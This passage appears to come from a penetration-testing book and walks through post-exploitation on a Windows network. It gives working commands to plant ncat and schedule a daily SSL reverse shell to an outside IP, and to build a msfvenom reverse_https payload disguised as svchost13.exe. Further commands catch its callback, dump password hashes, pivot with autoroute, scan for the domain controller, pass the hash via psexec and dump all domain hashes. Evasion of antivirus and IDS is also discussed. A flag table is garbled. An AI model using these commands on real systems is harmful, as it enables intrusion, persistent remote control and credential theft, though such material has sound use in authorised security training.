NetCat (Ncat) is a little known yet powerful tool designed to make raw socket connections to network ports. It's a small tool designed to run from one executable file that is easily transferred to a system and can also be renamed to anything to hide the executable within an operating system. Ncat will call back to an attacking server with only user-level access. Ncat is an open source application brought to you by insecure.org, the same fine folks that maintain NMap. Ncat, and its older cousin, nc, both come installed on Kali. Ncat is bundled with any install of NMap.
Actually, as mentioned previously, there are two versions of Ncat. The older version's executable is nc. Nc will also make raw socket connections to any TCP/UDP ports:
The big advantage of Ncat is that it supports SSL encryption, where all of nc's traffic is in clear text. Nc's traffic can sometimes be picked up by IDS/IPS and other security devices. Ncat's traffic can be encrypted and hidden to look like an HTTPS stream. Ncat also has the ability to only allow connections from certain IP addresses or IP subnets.
The initial attack to compromise the machine could either be by a network attack or using some method of social engineering, such as a Phearfishing e-mail carrying a payload to connect back to our attacking server.
The following image is a PDF of an offer you will want to refuse. This PDF contains the same phone home payload, and is designed to install the malware payload without any interaction or approval by the user. This PDF is created in a nifty tool, which we will look at in the next section Creating a web back door with the Social Engineering Toolkit:
Once the initial attack has compromised the system, we want the system to call home on a regular basis. An exploit like this can be set to maintain a constant connection, where every time the connection is lost it resets the connection. It can also be set to reconnect at specified intervals. We like to set these up so the exploit calls home at a certain time, and if there is not a port to connect to on the attacking machine, then the exploit goes silent until that time comes again. A totally persistent connection can draw attention from network security.
We are now connected to the victim machine and we upload an obfuscated copy of Ncat to the victim. We can see from the session that this is an internal attack. The ncat.exe file is in the /usr/share/ncat-w32/ directory on Kali. Once connected, run the following command in Meterpreter:
upload /usr/share/ncat-w32/ncat.exe C:/windows/ncat.exe
This will transfer the Ncat executable to the victim system. Notice that we are using / and not for directory slashes. Since you are on Linux, you must use the forward slash. If you use the and run the command you will find that the directory names will run together and the file will not upload properly.
Going to the Windows 7 victim, we can see the file in the
Windows directory:
Windows since Windows NT 3.14 has a command-line tool to run scheduled tasks. This tool is called the AT command. This command is very similar to the cron command available on Linux or UNIX, and like the cron command, you need admin-level access to run AT. You can also run the schtasks command, which will run regardless of your user permissions. You can set a time, date, and number of times to run any command-line tool or script. So shell into the system using your Meterpreter connection to the machine:
shell
You're now in the victim system and should type the following:
AT 5:00PM ncat.exe -nv 128.199.190.69 443 –ssl -e cmd.exe
This sets up a job to run at 5:00 PM every day. It will run the
ncat.exe executable with the following variables. It is calling to the attacking server 128.199.190.69 on port 443. The –ssl flag tells the connection to use SSL. The -e cmd.exe flag tells the executable to run the cmd.exe executable through the connection.
Before 5:00 PM, we log into our evil server using our various pivots and start up Ncat in listening mode and wait for 5:00 PM to come around.
Note that we are connected to //rogue3 here and running the command:
ncat -nvlp 443 –ssl
The -n flag tells the system to not use DNS. The -v tells the system to make the output verbose so you can see the input and output. The -l tells Ncat to listen. The -p tells Ncat to listen on port 443, and the –ssl tells Ncat to use SSL to encrypt the session:
We now have a connection to our hacked Windows 7 machine with full Administrator access, and this exploit will be ready to use at 5:00 PM every day without any further attacks on the network.
Well, that was the old-school method. Now, let's do the same thing using Metasploit's tools. We will have Metasploit loaded on //rogue3, our evil server, for our victim machine to connect to a Meterpreter shell on that machine. We will be building and uploading this exploit from our internal hack from earlier. We will be using a couple of other tools from the Metasploit toolkit beside msfconsole. Metasploit comes with an independent application to build custom exploits and shellcode. This tool is called msfvenom, and we are going to use it to build an exploit. The full use of msfvenom could fill a full chapter in itself and is beyond the scope of the book; thus, here, we will be building a reverse-http exploit, using the most common flags to generate our executable. We will build the exploit by running the following command:
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_https -f exe -o svchost13.exe
Msfvenom is a powerful and configurable tool. It has the power to build custom exploits that will bypass any anti-virus software. Anti-virus software works on looking at the signatures of files. Msfvenom has the ability to encode an exploit in such a way that the anti-virus software will not be able to detect it. It is a case of hiding an exploit as another common executable, such as Notepad. Msfvenom can add NOPs or null code to the executable to bring it up to the same size as the original. Scary, isn't it?
A list of the flags is as follows:
|
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val> | ||
|---|---|---|
|
Options: |
Long Options |
Variables |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
|
|
|
|
|
|
| |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
|
|
| |
|
|
| |
|
|
The following image shows the output of the command. Msfvenom has shown that no encoders were used, and there was no checking for bad characters implemented in the build. For this demo, they're not needed:
Now, by running the ls command, we can see our file:
Now we have something to upload. Just like with the Ncat example, we will use our internal compromise of the system to upload our exploit:
As with Ncat, we will shell into our victim machine and set up the AT command to run svchost13.exe:
shell AT 5:25PM c:windowssvchost.exe exit Just before 5:25 PM, log into the evil server //rogue3. Fire up the Metasploit service msfconsole to get your listener set up and running to accept the connection. Then, set up the common handler module using the following commands. msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST 128.199.190.69 set LPORT 443 exploit
After running the exploit, the handler will start listening for a connection on port 443, waiting for your helpless victim to call home. After waiting a bit, we see a connection come up from 69.131.155.226. That is the address of the firewall our victim machine is behind. The handler then gives us a command prompt to the system. Running the Meterpreter command sysinfo, we see the name and machine information. From here you have complete control.
You might be excited to move on to the next conquest, but since we are here on a machine behind the network's firewall, let's look around at the rest of the network. By running ipconfig, we see that there are two network interfaces on this machine: one is on the 10-network, at 10.100.0.0/24, but the other is on a 192.168-network at 192.168.202.0. These are both protected networks, but the big deal is that the network is not flat. You cannot route packets across two dissimilar network classes in the private ranges. The 10-network has access to the Internet, so it may be a DMZ, and the machines on it may be both more hardened and contain less valuable data. This probably means there are some treasures in the data on the other network. This type of pivot could go to either network, but let's attack the back-end network here:
The path marked in red is the pivot path we will be taking from our persistent connection to attack the Domain Controller on the back-end network.
That time of day has come around, and we have started our listener on our evil server and the victim machine has phoned home. We are ready to go further. We will use the meterpreter command autoroute to get a route into the 192.168.202.0/24 network.
This time when we set up the handler, we will send the session into the background using the -j flag when we run the exploit command:
Then the victim machine calls in. This tells us that the firewall in the target network has not been adjusted to block that outbound packetstream, and that the anomalous behavior has not alerted their intrusion detection system (IDS). We have a connection:
We are inside the victim machine, so we can run DOS commands. If we run ipconfig we see the two interfaces and their addresses:
As we know, sysadmins often reuse passwords all across their networks, so let's get the hash from this machine and try it on the DC. Save these hashes to a text file or to your Keepnote. You'll need them later:
getsystem hashdump
Notice that the hashdump command has also found and downloaded the password hint for Bo Weaver. The hint is "funny". This may make your password guessing easier. Some people make their password hint almost their password, like "Raiders Star Qback 1970." A tiny bit of research could tell you the Quarterback was George Blanda, he was 43 years old and that was the first season for the Raiders in the NFL. His Jersey number was 16. Your password list would need to include "GeorgeBlanda16", "Blanda1970", and other related things:
Type the following:
run autoroute -s 192.168.202.0/24
Then run the following to print out the route:
run autoroute -p
We see we have a route into the backend network:
Now you have a route, so it is time to reconnoiter. To keep down the noise, we will use a simple port scanner within Metasploit:
- Back out of our meterpreter by typing the following:
backgroundThis keeps the session running open and in the background.
- Set up the scanner:
use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.202.0/24 set PORTS 139,445,389
- We have set port
389to find the Domain Controller.- Set the number of active threads:
set THREADS 20 - Run the scanner:
run
- Set the number of active threads:
The scanner runs and we see a Windows Domain Controller. This is our new target:
We now have our target and a password hash, so the next step is to upload an exploit. Since we have login credentials, we're going to use the psexec module to connect to the Domain Controller:
We are not using a clear text password because we captured the hash from the Win7 machine's Administrator's account. Since we have the hash, we do not have to brute-force the password. It is always possible that the passwords for the different classes of machine might be different, but in this case they are one and the same.
Tip
Passing the Hash
Hashes work as well as passwords in Metasploit. This is known asPassing The Hash. Pass-the-Hash exploits have been around for at least a decade, and they use the Windows Login Session information available on the network. The exploit takes the Local Security Authority (LSA) information to get a list of the NTLM hashes for users logged into the machines on the network. The tools, such as the Metasploit Framework or the Pass-the-Hash Toolkit, that are used to get the information get username, domain name, and LM and NT hashes.
Once the exploit has run we get a meterpreter shell, and by running sysinfo we can see that we are in the Domain Controller:
sysinfo
As we covered earlier, Windows Active Directory stores the password hashes in the SAM database, so we can use hashdump to dump all the hashes in the domain:
hashdump
We now have all the keys to the compromised kingdom from a backend network with no Internet access. If you notice, in the numbers behind the usernames in the hashdump, you can see that the administrator is user 500. Many experts tell Windows network administrators to change the name of the admin account, so that nobody can tell which users have which permissions. Plainly, this will not work. Even with the username NegligibleNebbish, just having the UID of 500 shows that this is a user with administrative powers.
If we put this session in the background and run the sessions command, we can see both sessions running from //rogue3 evil server to our compromised systems:
background sessions -l
